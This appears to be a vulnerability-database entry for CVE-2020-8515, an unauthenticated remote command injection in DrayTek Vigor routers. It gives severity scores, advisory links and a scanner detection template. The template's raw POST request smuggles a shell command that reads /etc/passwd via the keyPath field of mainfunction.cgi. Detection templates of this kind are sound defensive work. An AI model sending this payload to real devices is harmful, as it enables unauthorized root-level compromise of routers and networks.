9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.8 High
AI Score
Confidence
High
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.971 High
EPSS
Percentile
99.8%
DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI.
id: CVE-2020-8515
info:
name: DrayTek - Remote Code Execution
author: pikpikcu
severity: critical
description: DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected router, leading to complete compromise of the device and potential unauthorized access to the network.
remediation: This issue has been fixed in Vigor3900/2960/300B v1.5.1.
reference:
- https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)
- https://blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
- https://nvd.nist.gov/vuln/detail/CVE-2020-8515
- https://sku11army.blogspot.com/2020/01/draytek-unauthenticated-rce-in-draytek.html
- https://www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-%28cve-2020-8515%29/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-8515
cwe-id: CWE-78
epss-score: 0.97079
epss-percentile: 0.99754
cpe: cpe:2.3:o:draytek:vigor2960_firmware:1.3.1:beta:*:*:*:*:*:*
metadata:
max-request: 1
vendor: draytek
product: vigor2960_firmware
tags: cve,cve2020,rce,kev,draytek
http:
- raw:
- |
POST /cgi-bin/mainfunction.cgi HTTP/1.1
Host: {{Hostname}}
action=login&keyPath=%27%0A%2fbin%2fcat${IFS}%2fetc%2fpasswd%0A%27&loginUser=a&loginPwd=a
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a0046304402206d0846edf7e8e6118bd01670c01706ad026f58b9b53ef7cd70a6606c4c693f6d02206b183f00c8643042b064c49c928b48fd987a03476c663cd827dd563793cf11ef:922c64590222798bb761d5b6d8e72950
blog.netlab.360.com/two-zero-days-are-targeting-draytek-broadband-cpe-devices-en/
nvd.nist.gov/vuln/detail/CVE-2020-8515
sku11army.blogspot.com/2020/01/draytek-unauthenticated-rce-in-draytek.html
www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-%28cve-2020-8515%29/
www.draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.8 High
AI Score
Confidence
High
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.971 High
EPSS
Percentile
99.8%